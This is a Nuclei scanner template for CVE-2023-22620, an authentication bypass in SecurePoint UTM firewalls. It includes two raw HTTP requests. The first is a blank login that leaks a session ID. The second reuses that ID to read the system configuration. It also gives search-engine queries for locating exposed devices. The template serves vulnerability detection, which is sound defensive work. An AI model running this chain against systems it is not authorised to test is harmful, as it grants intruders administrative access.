id: CVE-2023-22620

info:
  name: SecurePoint UTM 12.x Session ID Leak
  author: DhiyaneshDK
  severity: high
  description: |
    An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall's endpoint at /spcgi.cgi allows sessionid information disclosure via an invalid authentication attempt. This can afterwards be used to bypass the device's authentication and get access to the administrative interface.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or perform actions on behalf of the user.
  remediation: Upgrade to version 12.2.5.1 or newer
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22620
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2023-22620.txt
    - https://www.rcesecurity.com/2023/04/securepwn-part-1-bypassing-securepoint-utms-authentication-cve-2023-22620/
    - https://packetstormsecurity.com/files/171924/SecurePoint-UTM-12.x-Session-ID-Leak.html
    - https://rcesecurity.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-22620
    cwe-id: CWE-863
    epss-score: 0.0392
    epss-percentile: 0.89292
    cpe: cpe:2.3:o:securepoint:unified_threat_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: securepoint
    product: unified_threat_management
    shodan-query:
      - title:"Securepoint UTM"
      - http.title:"securepoint utm"
    fofa-query: title="securepoint utm"
    google-query: intitle:"securepoint utm"
  tags: cve,cve2023,utm,leak,memory,packetstorm,securepoint,vkev,vuln

http:
  - raw:
      - |
        POST /spcgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

        {"module":"auth","command":["login"],"sessionid":"","arguments":{"user":"","pass":""}}
      - |
        POST /spcgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json; charset=UTF-8
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

        {"module":"system","command":["config","get"],"sessionid":"{{session}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"status":"OK"'

      - type: word
        part: header_2
        words:
          - 'application/json'

    extractors:
      - type: regex
        name: session
        group: 1
        regex:
          - '"sessionid": "([a-z0-9]+)"'
        internal: true
# digest: 490a0046304402206bf9920c9eb6ca232f69185825f1ead7f94f225a88503a32dcf10d63782f8c9c02206859ed5247f148fcc6273c220ff210a18b4d46e04869a97482265943d090ba31:922c64590222798bb761d5b6d8e72950